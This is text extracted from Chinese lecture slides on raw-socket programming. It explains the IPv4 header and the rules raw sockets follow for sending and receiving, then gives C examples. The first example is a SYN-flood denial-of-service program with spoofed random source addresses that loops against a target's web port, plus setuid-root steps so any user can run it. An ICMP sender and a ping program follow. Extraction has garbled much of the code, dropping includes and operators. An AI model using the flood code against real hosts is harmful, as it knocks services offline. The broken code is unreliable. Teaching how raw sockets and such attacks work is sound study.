第13章-原始套接字与数据链路访问编程要点课件.ppt

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1、第13章 原始套接字,IPv4数据报格式,几点说明：首部长度是以32位（即4字节）为单位；16位的标识用于分片和重组；DF位（不分片）；MF（还有片段）；协议字段表示封装在IP报文中的上层协议，典型的有：ICMP（1）、IGMP（2）、TCP（6）、UDP（17）；头部校验和只对IP头部（包括选项）计算，校验算法是标准的因特网校验和算法，即简单的16位反码求和。,IP数据报分片例子,IP数据报是指IP层端到端的传输单元（在分片之前和重新组装之后），分组是指在I P 层和链路层之间传送的数据单元。需要重申的是，任何传输层首部只出现在第1片数据中。,原始套接字（概述）,原始套接字提供了一些使用tc

2、p和udp协议不能实现的功能，如：使用原始套接字可以读写ICMPv4、IGMPv4分组。如Ping程序，mroute程序等；使用原始套接字可以读特殊的IPv4数据包，内核不处理这些数据报的IPv4协议字段。如大多数内核只处理ICMP、IGMP、TCP、UDP的数据报。但协议字段还可以为其他值，如OSPF直接使用IP协议，将IP数据报的协议字段设为89，此时，就必须有专门的程序通过原始套接字来处理它们；利用原始套接字还可以创建自定义的IP数据报首部，编写基于IP协议的高层网络协议。,原始套接字创建,#include#include int socket(AF_INET,SOCK_RAW,int

3、protocol);protocol参数一般不能为0，如：IPPROTO_ICMP。另外，只有超级用户才能创建原始套接字。用户可以通过设置IP_HDRINCL选项来编写自己的IP数据报首部：const int on=1;setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,可以调用bind函数绑定原始套接字的本地IP地址，此时，所有输出的数据报将用到源IP地址（仅当IP_HDRINCL未设置时）；如果不调用bind函数，由内核将源IP地址设成外出接口的主IP地址；可以调用connect函数设置数据报的目的地址（注意并不需要真正的连接）。此后，可直接调用write或se

4、nd。,通过原始套接字发送数据报,原始套接字的输出遵循以下规则：如果套接字已经连接，可以调用write、writev、send来发送数据，否则需要调用sendto或sendmsg；如果IP_HDRINCL选项未设置，则内核会将IP头部之后的第一个字节作为写数据的起始地址。如果设置了IP_HDRINCL，则内核会将IP头部的第一个字节作为写数据的起始地址。此时进程构造除了以下两项外的整个IP头部；（a）IPv4标识字段可以设为0，要求内核设置该值；（b）IPv4头部校验和由内核来计算和存储。IPv4数据报首部各个字段的内容均是网络字节序（对linux而言）对于超出外出接口的MTU的分组，内核将其

5、分片。,通过原始套接字接收数据报,内核通过原始套接字接收数据报，遵循以下规则：接收到的tcp和udp分组决不会传递给原始套接字，如果一个进程希望读取包含tcp或udp分组的IP数据报，那么它们必须在数据链路层读入；如果数据报以分片形式到达，则该分组将在所有片段到达并重组后才传给原始套接字。当内核处理完ICMP消息后，绝大部分ICMP分组将传递给原始套接字。对源自Berkeley的实现，除了回射请求、时间戳请求和地址掩码请求将完全由内核处理以外，所有收到的ICMP分组将传递给某个原始套接口；当内核处理完IGMP消息后，所有IGMP分组都将传递给某个原始套接字；所有带有内核不能识别的协议字段的IP

6、数据报都将传递给某个原始套接字。,通过原始套接字接收数据报（续）,在将一个IP数据报传递给某个套接字之前，内核需要选择匹配的原始套接字：如果在创建原始套接字时，所指定的protocol参数不为0，则接收到的数据包的协议字段应与该值匹配；如果此原始套接字之上绑定了一个本地IP地址，那么接收到的数据报的目的IP地址应与该绑定地址相匹配；如果此原始套接字通过调用connect指定了一个对方的IP地址，那么接收到的数据报的源IP地址应与该已连接地址相匹配。如果一个原始套接字以protocol参数为0的方式创建，而且未调用bind或connect，那么对于内核传递给原始套接字的每一个原始数据报，该套接字

7、都会收到一份拷贝；当接收到的数据报传递给IPv4原始套接字时，整个数据报（包括IP头部）都将传递给进程。而对于IPv6，则将去除扩展头部。,例1、DOS攻击(拒绝服务攻击),拒绝服务攻击原理：,Hacker(客户端）,分布式拒绝服务攻击原理图,源程序Dos.c：#include#include#include#include#include#include#include#include#define DESTPORT 80/*要攻击的端口(WEB)*/#define LOCALPORT 8888void send_tcp(int sockfd,struct sockaddr_in*addr)

8、;unsigned short check_sum(unsigned short*addr,int len);int main(int argc,char*argv)int sockfd;struct sockaddr_in addr;int on;on=1;if(argc!=2)fprintf(stderr,Usage:%sIPn,argv0);exit(1);,bzero(/*发送炸弹了!*/,void send_tcp(int sockfd,struct sockaddr_in*addr)char buffer100;/*用来放置我们的数据包*/struct ip*ip;struct t

9、cphdr*tcp;int head_len;/*我们的数据包实际上没有任何内容,所以长度就是两个结构的长度*/head_len=sizeof(struct ip)+sizeof(struct tcphdr);bzero(buffer,100);/*填充IP数据包的头部,还记得IP的头格式吗*/ip=(struct ip*)buffer;ip-ip_v=IPVERSION;/*版本一般的是4*/ip-ip_hl=sizeof(struct ip)2;/*IP数据包的头部长度*/ip-ip_tos=0;/*服务类型*/ip-ip_len=htons(head_len);/*IP数据包的长度*/i

10、p-ip_id=0;/*让系统去填写吧*/ip-ip_off=0;/*和上面一样,省点时间*/ip-ip_ttl=MAXTTL;/*最长的时间255*/ip-ip_p=IPPROTO_TCP;/*我们要发的是TCP包*/ip-ip_sum=0;/*校验和让系统去做*/ip-ip_dst=addr-sin_addr;/*我们攻击的对象*/printf(dest address is%sn,inet_ntoa(addr-sin_addr);,/*开始填写TCP数据包*/tcp=(struct tcphdr*)(buffer+sizeof(struct ip);tcp-source=htons(LO

11、CALPORT);tcp-dest=addr-sin_port;/*目的端口*/tcp-seq=random();tcp-ack_seq=0;tcp-doff=5;tcp-syn=1;/*我要建立连接*/tcp-check=0;/*好了,一切都准备好了.服务器,你准备好了没有*/while(1)/*你不知道我是从那里来的,慢慢的去等吧!*/ip-ip_src.s_addr=random();printf(addr is%dn,ip-ip_src.s_addr);sendto(sockfd,buffer,head_len,0,(struct sockaddr*)addr,sizeof(struc

12、t sockaddr);,程序运行权限,通常情况下，有效用户ID等于实际用户ID，有效组ID等于实际组ID；文件方式字中有一个特殊标志，定义为“当执行此文件时将进程的有效用户ID设置为文件的所有者”，与此类似，组ID也有类似的情况。这两位称为：设置用户ID和设置组ID。对于本程序要求：普通用户能执行该程序，但该程序又要求要具有超级用户权限，因此：需要将该可执行程序的所有者设置为超级用户，并设置其“设置-用户-ID”标志，方法是：roothoyt/root#chown root DOS roothoyt/root#chmodu+s DOS,程序运行结果,例2：给本机发送一个ICMP报文，然后接收

13、回复。,/ip.h#ifndef _IP_H#define _IP_H#include#include#include#include#include#include#include#include#include#include,#define PACKET_SIZE 4096#define MAX_WAIT_TIME 5#define DEST_ADDR 222.18.113.171extern int errno;char sendpacketPACKET_SIZE;char recvpacketPACKET_SIZE;int sockfd,datalen=56;struct socka

14、ddr_in dest_addr;void send_packet();void recv_packet();unsigned short cal_chksum(unsigned short*addr,int len);void showiphdr(struct ip*ip);void onTerm();#endif,/Ip.c#include ip.hint main(int argc,char*argv)struct hostent*host;struct protoent*protocol;unsigned long inaddr=0L;if(protocol=getprotobynam

15、e(icmp)=NULL)perror(unknow protocol icmp);exit(1);if(sockfd=socket(AF_INET,SOCK_RAW,protocol-p_proto)0)perror(socket error);exit(2);bzero(,void send_packet()int i,packetsize;struct icmp*icmp;icmp=(struct icmp*)sendpacket;icmp-icmp_type=ICMP_ECHO;icmp-icmp_code=0;icmp-icmp_cksum=0;icmp-icmp_id=getpid

16、();icmp-icmp_seq=1;packetsize=8+datalen;/数据包的大小icmp-icmp_cksum=cal_chksum(unsigned short*)icmp,packetsize);if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*),发送缓存区并未构造IP头部，是内核构造的。,unsigned short cal_chksum(unsigned short*addr,int len)int nleft=len;int sum=0;unsigned short*w=addr;unsigned sh

17、ort answer=0;while(nleft1)sum+=*w+;nleft-=2;if(nleft=1)*(unsigned char*)(,void recv_packet()int n,fromlen,packet_no;struct sockaddr_in from;struct ip*ip;struct icmp*icmp;signal(SIGALRM,onTerm);while(1)fromlen=sizeof(from);alarm(MAX_WAIT_TIME);if(n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(str

18、uct sockaddr*),void showiphdr(struct ip*ip)printf(-IP HEADER-n);printf(version:%dn,ip-ip_v);printf(header length:%dn,ip-ip_hl);printf(type of service:%dn,ip-ip_tos);printf(total length:%dn,ip-ip_len);printf(identification:%dn,ip-ip_id);printf(fragment offset field:%dn,ip-ip_off);printf(time to live:

19、%dn,ip-ip_ttl);printf(protocol:%dn,ip-ip_p);/*printf(checksum:%sn,ip-ip_sum);*/printf(source IP address:%sn,inet_ntoa(ip-ip_src);printf(destination IP address:%sn,inet_ntoa(ip-ip_dst);void onTerm()close(sockfd);exit(0);,运行结果,收到了两个ICMP报文，一个是由程序发送的，另一个是系统回复的。,例3:ping程序,#include#include#include#include

20、#include#include#include#include#include#include#include#include#define PACKET_SIZE 4096#define MAX_WAIT_TIME 5#define MAX_NO_PACKETS 3char sendpacketPACKET_SIZE;char recvpacketPACKET_SIZE;int sockfd,datalen=56;int nsend=0,nreceived=0;struct sockaddr_in dest_addr;pid_t pid;struct sockaddr_in from;st

21、ruct timeval tvrecv;,void statistics(int signo);unsigned short cal_chksum(unsigned short*addr,int len);int pack(int pack_no);void send_packet(void);void recv_packet(void);int unpack(char*buf,int len);void tv_sub(struct timeval*out,struct timeval*in);void statistics(int signo)printf(n-PING statistics

22、-n);printf(%d packets transmitted,%d received,%d lostn,nsend,nreceived,(nsend-nreceived)/nsend*100);close(sockfd);exit(1);/*校验和算法*/unsigned short cal_chksum(unsigned short*addr,int len)int nleft=len;int sum=0;unsigned short*w=addr;unsigned short answer=0;/*把ICMP报头二进制数据以2字节为单位累加起来*/while(nleft1)sum+=

23、*w+;nleft-=2;/*若ICMP报头为奇数个字节，会剩下最后一字节。把最后一个字节视为一个2字节数据的高字节，这个2字节数据的低字节为0，继续累加*/if(nleft=1)*(unsigned char*)(,sum=(sum16)+(sum,sleep(1);/*每隔一秒发送一个ICMP报文*/*接收所有ICMP报文*/void recv_packet()int n,fromlen;extern int errno;signal(SIGALRM,statistics);fromlen=sizeof(from);while(nreceived10)alarm(MAX_WAIT_TIME

24、);if(n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr*),/*剥去ICMP报头*/int unpack(char*buf,int len)int i,iphdrlen;struct ip*ip;struct icmp*icmp;struct timeval*tvsend;double rtt;ip=(struct ip*)buf;iphdrlen=(ip-ip_hl)*4;/*求ip报头长度,即ip报头的长度标志乘4*/icmp=(struct icmp*)(buf+iphdrlen);/*越过ip报头,

25、指向ICMP报头*/len-=iphdrlen;/*ICMP报头及ICMP数据报的总长度*/if(lenicmp_type=ICMP_ECHOREPLY),int waittime=MAX_WAIT_TIME;int size=50*1024;if(argcp_proto)h_addr);pid=getpid();,printf(PING%s(%s):%d bytes data in ICMP packets.n,argv1,inet_ntoa(dest_addr.sin_addr),datalen);send_packet();/*发送所有ICMP报文*/recv_packet();/*接收所有ICMP报文*/statistics(SIGALRM);/*进行统计*/return 0;/*两个timeval结构相减*/void tv_sub(struct timeval*out,struct timeval*in)if(out-tv_usec-=in-tv_usec)tv_sec;out-tv_usec+=1000000;out-tv_sec-=in-tv_sec;/*-The End-*/,运行结果：,